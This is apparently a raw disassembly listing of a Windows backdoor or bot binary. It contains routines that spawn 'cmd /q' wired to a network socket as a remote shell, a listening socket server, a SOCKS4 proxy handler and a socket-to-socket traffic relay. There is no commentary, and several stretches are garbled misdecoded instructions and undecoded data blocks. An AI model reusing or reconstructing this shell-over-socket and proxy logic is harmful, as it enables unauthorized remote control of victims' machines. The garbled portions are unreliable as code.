		dd 0C63B0000h, 41348189h, 13740044h, 0FC87539h,	0FFFF3785h
		dd 0FF326AFFh, 42706415h, 0FFEDEB00h, 42708C15h, 0E4685000h
		dd 0E80043C4h, 45C6h, 3EB5959h,	0FF087D8Bh, 4D118415h
		dd 858D5000h, 0FFFFFBECh, 43C4AC68h, 0C3E85000h, 830000ACh
		dd 75390CC4h, 562075C4h, 0FBEC858Dh, 75FFFFFFh,	858D50C0h
		dd 0FFFFFDF0h, 0ECB5FF50h, 0E8FFFFFDh, 0FFFF873Ah, 8D14C483h
		dd 0FFFBEC85h, 0FFE850FFh, 59000044h, 8815FF57h, 53004D12h
		dd 128815FFh, 15FF004Dh, 4D1148h, 0E8B475FFh, 0FFFFA066h
		dd 35E85659h, 0E20072EDh, 39C0335Bh, 0F042444h
		db 94h,	0C0h, 0C3h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4112D7	proc near		; CODE XREF: .nsp0:00410F70p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_411428
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_44412C[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, dword_42707C
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4115FA
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi ; dword_42707C
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_411342
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_43C644
		call	sub_41581A
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jmp	short loc_41137C
; ---------------------------------------------------------------------------


loc_411342:				; CODE XREF: sub_4112D7+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset loc_4116AC
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi ; dword_42707C
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_411383
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_43C644
		call	sub_41581A
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		call	near ptr 0B40000h
		inc	eax


loc_41137C:				; CODE XREF: sub_4112D7+69j
		xor	eax, eax
		jmp	loc_411423
; ---------------------------------------------------------------------------


loc_411383:				; CODE XREF: sub_4112D7+82j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		call	near ptr 0B40000h
		xor	ebp, [ebx]
		retn
; ---------------------------------------------------------------------------
		jz	short loc_4113DD
		dec	eax
		jz	short loc_4113D7
		dec	eax
		jz	short loc_4113C3
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_43C610
		call	sub_41581A
		pop	ecx
		pop	ecx
		jmp	short loc_4113F2
; ---------------------------------------------------------------------------


loc_4113C3:				; CODE XREF: sub_4112D7+D5j
		mov	edi, dword_4270AC
		push	ebx
		push	dword ptr [esi+14h]
		call	edi ; dword_4270AC
		push	ebx
		push	dword ptr [esi+10h]
		call	edi ; dword_4270AC
		jmp	short loc_4113F2
; ---------------------------------------------------------------------------


loc_4113D7:				; CODE XREF: sub_4112D7+D2j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_4113E1
; ---------------------------------------------------------------------------


loc_4113DD:				; CODE XREF: sub_4112D7+CFj
		push	ebx
		push	dword ptr [esi+14h]


loc_4113E1:				; CODE XREF: sub_4112D7+104j
		call	near ptr 0B40000h
; ---------------------------------------------------------------------------
		dw 6A8Fh
		dd 876FF01h, 72EC0FE8h
		db 0, 43h
; ---------------------------------------------------------------------------


loc_4113F2:				; CODE XREF: sub_4112D7+EAj
					; sub_4112D7+FEj
		push	dword ptr [esi+10h]
		mov	edi, dword_42706C
		call	edi ; dword_42706C
		push	dword ptr [esi+14h]
		call	edi ; dword_42706C
		push	dword ptr [esi+8]
		call	edi ; dword_42706C
		push	dword ptr [esi]
		call	edi ; dword_42706C
		push	dword ptr [esi+4]
		call	edi ; dword_42706C
		push	dword ptr [esi+0Ch]
		call	dword_4D1288	; closesocket
		push	esi
		call	sub_41B961
		pop	ecx
		push	1
		pop	eax


loc_411423:				; CODE XREF: sub_4112D7+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4112D7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411428	proc near		; CODE XREF: sub_4112D7+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_41BBCB
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_411512
		mov	ebx, dword_427100
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx ; dword_427100
		mov	edi, dword_42706C
		test	eax, eax
		jnz	short loc_41148B
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_43C6F4
		jmp	short loc_4114AB
; ---------------------------------------------------------------------------


loc_41148B:				; CODE XREF: sub_411428+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx ; dword_427100
		test	eax, eax
		jnz	short loc_4114B3
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_43C6B4


loc_4114AB:				; CODE XREF: sub_411428+61j
		call	sub_41581A
		pop	ecx
		jmp	short loc_4114E1
; ---------------------------------------------------------------------------


loc_4114B3:				; CODE XREF: sub_411428+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_411521
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi ; dword_42706C
		push	[ebp+var_8]
		call	edi ; dword_42706C
		cmp	dword ptr [esi+8], 0
		jnz	short loc_411516
		push	offset unk_43C68C
		call	sub_4157A6


loc_4114E1:				; CODE XREF: sub_411428+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_4114ED
		push	[ebp+var_4]
		call	edi ; dword_42706C


loc_4114ED:				; CODE XREF: sub_411428+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_4114F8
		push	[ebp+var_8]
		call	edi ; dword_42706C


loc_4114F8:				; CODE XREF: sub_411428+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_411501
		push	eax
		call	edi ; dword_42706C


loc_411501:				; CODE XREF: sub_411428+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41150B
		push	eax
		call	edi ; dword_42706C


loc_41150B:				; CODE XREF: sub_411428+DEj
		push	esi
		call	sub_41B961
		pop	ecx


loc_411512:				; CODE XREF: sub_411428+1Dj
		xor	eax, eax
		jmp	short loc_41151C
; ---------------------------------------------------------------------------


loc_411516:				; CODE XREF: sub_411428+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi


loc_41151C:				; CODE XREF: sub_411428+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411428	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411521	proc near		; CODE XREF: sub_411428+94p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_58]
		push	esi
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41BC40
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41BC40
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		add	esp, 18h
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_18]
		mov	[ebp+var_58], edi
		mov	edi, dword_4270FC
		push	esi
		push	1
		push	2
		push	eax
		mov	[ebp+var_54], esi
		mov	[ebp+var_4C], esi
		mov	[ebp+var_50], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_48], esi
		mov	[ebp+var_28], si
		mov	[ebp+var_24], esi
		mov	[ebp+var_26], si
		mov	[ebp+var_2C], 101h
		mov	[ebp+var_1C], ebx
		call	edi ; dword_4270FC
		push	eax
		push	ebx
		call	edi ; dword_4270FC
		push	eax
		call	near ptr 0B40000h
		int	8Dh		; used by BASIC	while in interpreter
		inc	ebp
		in	al, dx
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	esi
		push	1
		push	esi
		push	esi
		push	offset aCmdQ	; "cmd /q"
		push	esi
		call	near ptr 0B40000h
		pusha
		test	eax, eax
		jz	short loc_4115DD
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_444128[eax], ecx
		call	dword_42706C	; CloseHandle
		jmp	short loc_4115F3
; ---------------------------------------------------------------------------


loc_4115DD:				; CODE XREF: sub_411521+9Aj
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_43C734
		call	sub_41581A
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx


loc_4115F3:				; CODE XREF: sub_411521+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411521	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4115FA	proc near		; DATA XREF: sub_4112D7+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		mov	ebx, dword_4270E8
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]


loc_411623:				; CODE XREF: sub_4115FA+8Fj
		call	ebx ; dword_4270E8
		test	eax, eax
		jz	short loc_41168B
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_41165E


loc_411634:				; CODE XREF: sub_4115FA+62j
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_41164E
		cmp	dl, 0Dh
		jz	short loc_41164E
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax


loc_41164E:				; CODE XREF: sub_4115FA+44j
					; sub_4115FA+49j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_411634


loc_41165E:				; CODE XREF: sub_4115FA+38j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4D1240	; send
		test	eax, eax
		jle	short loc_41168B
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		jmp	short loc_411623
; ---------------------------------------------------------------------------


loc_41168B:				; CODE XREF: sub_4115FA+2Dj
					; sub_4115FA+79j
		mov	esi, dword_42708C
		call	esi ; dword_42708C
		cmp	eax, 6Dh
		jz	short loc_4116A7
		call	esi ; dword_42708C
		push	eax
		push	offset unk_43C774
		call	sub_41581A
		pop	ecx
		pop	ecx


loc_4116A7:				; CODE XREF: sub_4115FA+9Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4115FA	endp

; ---------------------------------------------------------------------------


loc_4116AC:				; DATA XREF: sub_4112D7+71o
		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+8]
		xor	esi, esi
		mov	[ebp-10h], ebx
		mov	[ebp-0Ch], ebx


loc_4116C5:				; CODE XREF: .nsp0:004116E5j
					; .nsp0:00411783j ...
		push	ebx
		lea	eax, [ebp+0Bh]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4D1208	; recv
		test	eax, eax
		jle	loc_4117CA
		cmp	[ebp-10h], ebx
		jbe	short loc_4116E7
		dec	dword ptr [ebp-10h]
		jmp	short loc_4116C5
; ---------------------------------------------------------------------------


loc_4116E7:				; CODE XREF: .nsp0:004116E0j
		mov	al, [ebp+0Bh]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_4117AA
		cmp	al, 8
		mov	[ebp-0Ch], ebx
		jz	short loc_411757
		cmp	al, 7Fh
		jz	short loc_411757
		cmp	al, 3
		jnz	short near ptr loc_41170F+3
		push	ebx
		push	ebx
		call	near ptr 0B40000h


loc_41170F:				; CODE XREF: .nsp0:00411706j
		mov	al, ds:153C6CEBh
		jnz	short loc_411734
		xor	esi, esi
		mov	byte ptr [ebp-8], 20h
		mov	byte ptr [ebp-7], 58h
		mov	byte ptr [ebp-6], 58h
		mov	byte ptr [ebp-5], 58h
		mov	byte ptr [ebp-4], 0Dh
		mov	byte ptr [ebp-3], 0Ah
		push	6
		jmp	short loc_41176A
; ---------------------------------------------------------------------------


loc_411734:				; CODE XREF: .nsp0:00411714j
		mov	[ebp+esi-0DCh],	al
		inc	esi
		push	1
		cmp	al, 0Dh
		mov	[ebp-8], al
		pop	ecx
		jnz	short loc_41176B
		mov	byte ptr [ebp+esi-0DCh], 0Ah
		mov	byte ptr [ebp-7], 0Ah
		inc	esi
		push	2
		jmp	short loc_41176A
; ---------------------------------------------------------------------------


loc_411757:				; CODE XREF: .nsp0:004116FEj
					; .nsp0:00411702j
		cmp	esi, ebx
		jbe	short loc_411781
		dec	esi
		mov	byte ptr [ebp-8], 8
		mov	byte ptr [ebp-7], 20h
		mov	byte ptr [ebp-6], 8
		push	3


loc_41176A:				; CODE XREF: .nsp0:00411732j
					; .nsp0:00411755j
		pop	ecx


loc_41176B:				; CODE XREF: .nsp0:00411744j
		push	ebx
		lea	eax, [ebp-8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4D1240	; send
		test	eax, eax
		jle	short loc_4117CA
		mov	al, [ebp+0Bh]


loc_411781:				; CODE XREF: .nsp0:00411759j
		cmp	al, 0Dh
		jnz	loc_4116C5
		lea	eax, [ebp-14h]
		push	ebx
		push	eax
		lea	eax, [ebp-0DCh]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		call	near ptr 0B40000h
		xor	al, [ebp+332774C0h]
		imul	cl
		sbb	edi, edi
; ---------------------------------------------------------------------------
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_4117AA:				; CODE XREF: .nsp0:004116F3j
		cmp	[ebp-0Ch], ebx
		jnz	short loc_4117BB
		mov	dword ptr [ebp-0Ch], 1
		jmp	loc_4116C5
; ---------------------------------------------------------------------------


loc_4117BB:				; CODE XREF: .nsp0:004117ADj
		mov	dword ptr [ebp-10h], 0Ah
		mov	[ebp-0Ch], ebx
		jmp	loc_4116C5
; ---------------------------------------------------------------------------


loc_4117CA:				; CODE XREF: .nsp0:004116D7j
					; .nsp0:0041177Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4117CF:				; DATA XREF: .nsp0:004046FEo
		push	ebp
		mov	ebp, esp
		sub	esp, 2D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	10h
		mov	esi, eax
		pop	ebx
		lea	edi, [ebp-0D4h]
		push	2Ch
		mov	[ebp-4], ebx
		pop	ecx
		rep movsd
		push	1
		xor	esi, esi
		pop	edi
		mov	[eax+0A8h], edi
		push	ebx
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		mov	word ptr [ebp-14h], 2
		push	dword ptr [ebp-40h]
		call	dword_4D11F0	; ntohs
		push	6
		push	edi
		push	2
		mov	[ebp-12h], ax
		mov	[ebp-10h], esi
		call	dword_4D1270	; socket
		mov	edi, eax
		mov	eax, [ebp-3Ch]
		imul	eax, 234h
		push	ebx
		mov	dword_44412C[eax], edi
		lea	eax, [ebp-14h]
		push	eax
		push	edi
		call	dword_4D121C	; bind
		test	eax, eax
		jnz	loc_411971
		push	0Ah
		push	edi
		call	dword_4D1218	; listen
		test	eax, eax
		jnz	loc_411971
		push	dword ptr [ebp-40h]
		push	dword ptr [ebp-0D4h]
		call	sub_40AB6A
		pop	ecx
		push	eax
		lea	eax, [ebp-2D4h]
		push	offset dword_432588
		push	eax
		call	sub_41BF36
		add	esp, 10h
		cmp	[ebp-30h], esi
		jnz	short loc_4118AA
		push	esi
		lea	eax, [ebp-2D4h]
		push	dword ptr [ebp-34h]
		push	eax
		lea	eax, [ebp-0D0h]
		push	eax
		push	dword ptr [ebp-0D4h]
		call	sub_4099D2
		add	esp, 14h


loc_4118AA:				; CODE XREF: .nsp0:00411888j
					; .nsp0:00411941j ...
		lea	eax, [ebp-2D4h]
		push	eax
		call	sub_4157A6
		pop	ecx
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-24h]
		push	eax
		push	edi
		call	dword_4D1284	; accept
		push	dword ptr [ebp-3Ch]
		mov	ebx, eax
		movzx	eax, word ptr [ebp-22h]
		push	eax
		mov	[ebp-28h], esi
		push	dword ptr [ebp-20h]
		call	dword_4D127C	; inet_ntoa
		push	eax
		lea	eax, [ebp-2D4h]
		push	offset dword_43C820
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2D4h]
		push	19h
		push	eax
		call	sub_40B00E
		mov	[ebp-38h], eax
		imul	eax, 234h
		mov	ecx, [ebp-3Ch]
		add	esp, 20h
		mov	dword_444124[eax], ecx
		lea	eax, [ebp+8]
		push	eax
		lea	eax, [ebp-0D4h]
		push	esi
		push	eax
		push	offset loc_4119D4
		push	esi
		push	esi
		call	dword_42707C	; CreateThread
		mov	ecx, [ebp-38h]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_444134[ecx], eax
		jz	short loc_411951


loc_41193E:				; CODE XREF: .nsp0:0041194Fj
		cmp	[ebp-28h], esi
		jnz	loc_4118AA
		push	5
		call	dword_427064	; Sleep
		jmp	short loc_41193E
; ---------------------------------------------------------------------------


loc_411951:				; CODE XREF: .nsp0:0041193Cj
		call	dword_42708C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp-2D4h]
		push	offset dword_43C7E4
		push	eax
		call	sub_41BF36
		add	esp, 0Ch
		jmp	loc_4118AA
; ---------------------------------------------------------------------------


loc_411971:				; CODE XREF: .nsp0:0041184Aj
					; .nsp0:0041185Bj
		push	edi
		call	dword_4D1288	; closesocket
		push	dword ptr [ebp-40h]
		lea	eax, [ebp-2D4h]
		push	offset dword_43C7B0
		push	eax
		call	sub_41BF36
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4119B4
		push	esi
		lea	eax, [ebp-2D4h]
		push	dword ptr [ebp-34h]
		push	eax
		lea	eax, [ebp-0D0h]
		push	eax
		push	dword ptr [ebp-0D4h]
		call	sub_4099D2
		add	esp, 14h


loc_4119B4:				; CODE XREF: .nsp0:00411992j
		lea	eax, [ebp-2D4h]
		push	eax
		call	sub_4157A6
		push	dword ptr [ebp-3Ch]
		call	sub_40B32A
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 0B40000h
		wait
		pop	edi
		pop	esi
		pop	ebx


loc_4119D4:				; DATA XREF: .nsp0:0041191Eo
		push	ebp
		mov	ebp, esp
		sub	esp, 5D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	2Ch
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-0C8h]
		rep movsd
		mov	esi, [ebp-2Ch]
		push	1
		mov	[ebp+8], esi
		imul	esi, 234h
		pop	edi
		lea	esi, dword_44412C[esi]
		mov	[eax+0ACh], edi
		xor	ebx, ebx
		mov	eax, [esi]
		mov	dword ptr [ebp-8], 5
		mov	[ebp-5D0h], eax
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		lea	eax, [ebp-5D4h]
		push	ebx
		push	eax
		push	ebx
		mov	[ebp-4], ebx
		mov	[ebp-5D4h], edi
		call	dword_4D11D8	; select
		test	eax, eax
		jnz	short loc_411A55
		push	dword ptr [esi]
		call	dword_4D1288	; closesocket
		push	dword ptr [ebp+8]
		call	sub_40B32A
		pop	ecx
		push	ebx
		call	near ptr 0B40000h
		cli


loc_411A55:				; CODE XREF: .nsp0:00411A3Bj
		push	ebx
		lea	eax, [ebp-4D0h]
		push	408h
		push	eax
		push	dword ptr [esi]
		call	dword_4D1208	; recv
		test	eax, eax
		jg	short loc_411A86
		push	dword ptr [esi]
		call	dword_4D1288	; closesocket
		push	dword ptr [ebp+8]
		call	sub_40B32A
		pop	ecx
		push	ebx
		call	near ptr 0B40000h
		push	ebp


loc_411A86:				; CODE XREF: .nsp0:00411A6Cj
		cmp	byte ptr [ebp-4D0h], 4
		jnz	loc_411C80
		cmp	byte ptr [ebp-4CFh], 1
		jnz	loc_411C80
		cmp	[ebp-44h], bl
		jz	short near ptr loc_411B1B+1
		lea	eax, [ebp-44h]
		push	eax
		lea	eax, [ebp-4C8h]
		push	eax
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short near ptr loc_411B1B+1
		lea	eax, [ebp-44h]
		push	eax
		lea	eax, [ebp-4C8h]
		push	eax
		push	offset dword_43C8E8
		call	sub_41581A
		push	400h
		lea	eax, [ebp-4C8h]
		push	ebx
		push	eax
		mov	[ebp-4D0h], bl
		mov	byte ptr [ebp-4CFh], 5Dh
		call	sub_41BC40
		add	esp, 18h
		lea	eax, [ebp-4D0h]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_4D1240	; send
		push	dword ptr [esi]
		call	dword_4D1288	; closesocket
		push	dword ptr [ebp+8]
		call	sub_40B32A
		pop	ecx
		push	ebx
		call	near ptr 0B40000h


loc_411B1B:				; CODE XREF: .nsp0:00411AA3j
					; .nsp0:00411AB9j
		mov	eax, ds:458D106Ah
		call	near ptr 19296B78h
		mov	eax, ds:8B660000h
		test	[edx], esi
		sti
; ---------------------------------------------------------------------------
		db 2 dup(0FFh),	83h
		dd 89660CC4h, 858BEA45h, 0FFFFFB34h, 6A57066Ah,	45C76602h
		dd 890002E8h, 15FFEC45h, 4D1270h, 0FF83F88Bh, 0FF5D75FFh
		dd 4D118415h, 0A8685000h, 0E80043C8h, 3CB2h, 40068h, 38858D00h
		dd 53FFFFFBh, 309D8850h, 0C6FFFFFBh, 0FFFB3185h, 0B9E85BFFh
		dd 830000A0h, 858D14C4h, 0FFFFFB30h, 50086A53h,	15FF36FFh
		dd 4D1240h, 15FF36FFh, 4D1288h,	0E80875FFh, 0FFFF977Eh
		dd 4DE85359h, 1E0072E4h, 6AE8458Dh, 0FF575010h,	4D119815h
		dd 0FFF88300h, 15FF5D75h, 4D1184h, 0C8646850h, 43E80043h
		dd 6800003Ch, 400h, 0FB38858Dh,	5053FFFFh, 0FB309D88h
		dd 85C6FFFFh, 0FFFFFB31h, 0A04AE85Bh, 0C4830000h, 30858D14h
		dd 53FFFFFBh, 0FF50086Ah, 4015FF36h, 0FF004D12h, 8815FF36h
		dd 0FF004D12h, 0FE80875h, 59FFFF97h, 0E3DEE853h, 68AC0072h
		dd 400h, 0FB38858Dh, 5053FFFFh,	0FB309D88h, 85C6FFFFh
		dd 0FFFFFB31h, 9FFEE85Ah, 0C4830000h, 30858D0Ch, 53FFFFFBh
		dd 0FF50086Ah, 4015FF36h, 0FF004D12h, 39E85736h, 59000000h
		dd 15FF5759h, 4D1288h, 15FF36FFh, 4D1288h, 0E80875FFh
		dd 0FFFF96B2h, 81E85359h, 870072E3h
; ---------------------------------------------------------------------------


loc_411C80:				; CODE XREF: .nsp0:00411A8Dj
					; .nsp0:00411A9Aj
		push	dword ptr [esi]
		call	dword_4D1288	; closesocket
		push	dword ptr [ebp+8]
		call	sub_40B32A
		pop	ecx
		push	ebx
		call	near ptr 0B40000h
; ---------------------------------------------------------------------------
		db 21h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+0Ch]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h


loc_411CAE:				; CODE XREF: .nsp0:00411D5Dj
					; .nsp0:00411D8Dj
		mov	[ebp-100h], ebx
		mov	dword ptr [ebp-104h], 1
		xor	ecx, ecx
		lea	eax, [ebp-100h]


loc_411CC6:				; CODE XREF: .nsp0:00411CD4j
		mov	edx, [ebp+8]
		cmp	[eax], edx
		jz	short loc_411CD6
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_411CC6


loc_411CD6:				; CODE XREF: .nsp0:00411CCBj
		cmp	ecx, 1
		jnz	short loc_411CEB
		mov	[ebp-0FCh], edx
		mov	dword ptr [ebp-104h], 2


loc_411CEB:				; CODE XREF: .nsp0:00411CD9j
		push	esi
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41BC40
		add	esp, 0Ch
		lea	eax, [ebp-104h]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_4D11D8	; select
		lea	eax, [ebp-104h]
		push	eax
		push	ebx
		call	dword_4D10DC	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_411D4B
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	ebx
		call	dword_4D1208	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411D93
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4D1240	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411D93


loc_411D4B:				; CODE XREF: .nsp0:00411D1Dj
		lea	eax, [ebp-104h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4D10DC	; __WSAFDIsSet
		test	eax, eax
		jz	loc_411CAE
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4D1208	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411D93
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	ebx
		call	dword_4D1240	; send
		cmp	eax, 0FFFFFFFFh
		jnz	loc_411CAE


loc_411D93:				; CODE XREF: .nsp0:00411D32j
					; .nsp0:00411D49j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
dword_411D98	dd 81EC8B55h, 87CECh, 8558B00h,	6A575653h, 58DB3301h, 0A9B9h
					; DATA XREF: .nsp0:00403BD8o
					; sub_40B9DD+106o
		dd 8DF28B00h, 0FFFC8CBDh, 26A53FFh, 85FFA5F3h, 0FFFFFE9Ch
		dd 4589026Ah, 0EC4589F0h, 89F84589h, 2A082h, 7015FF00h
		dd 8B004D12h, 0FFFE83F0h, 90685675h, 0FF000001h, 42706415h
		dd 289D3900h, 75FFFFFFh, 858D5323h, 0FFFFF888h,	0FF24B5FFh
		dd 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh, 0FFFFFC8Ch, 0FF7BBDE8h
		dd 14C483FFh, 0F888858Dh, 0E850FFFFh, 3982h, 0FE98B5FFh
		dd 0FBE8FFFFh, 59FFFF94h, 0C9E85359h, 8E0072E1h, 6AF0458Dh
		dd 0FFBF5004h, 6A0000FFh, 0FF565704h, 4D11D015h, 0EC458D00h
		dd 6A50046Ah, 0FF5657FBh, 4D11D015h, 98858B00h,	6AFFFFFEh
		dd 34C06910h, 53000002h, 412CB089h, 458D0044h, 0C5E850D4h
		dd 8300009Dh, 0C7660CC4h, 2D445h, 0FEA0B5FFh, 15FFFFFFh
		dd 4D11F0h, 0D6458966h,	6AD4458Dh, 89565010h, 15FFD85Dh
		dd 4D121Ch, 75FFF883h, 13886819h, 15FF0000h, 427064h, 0FE9C8DFFh
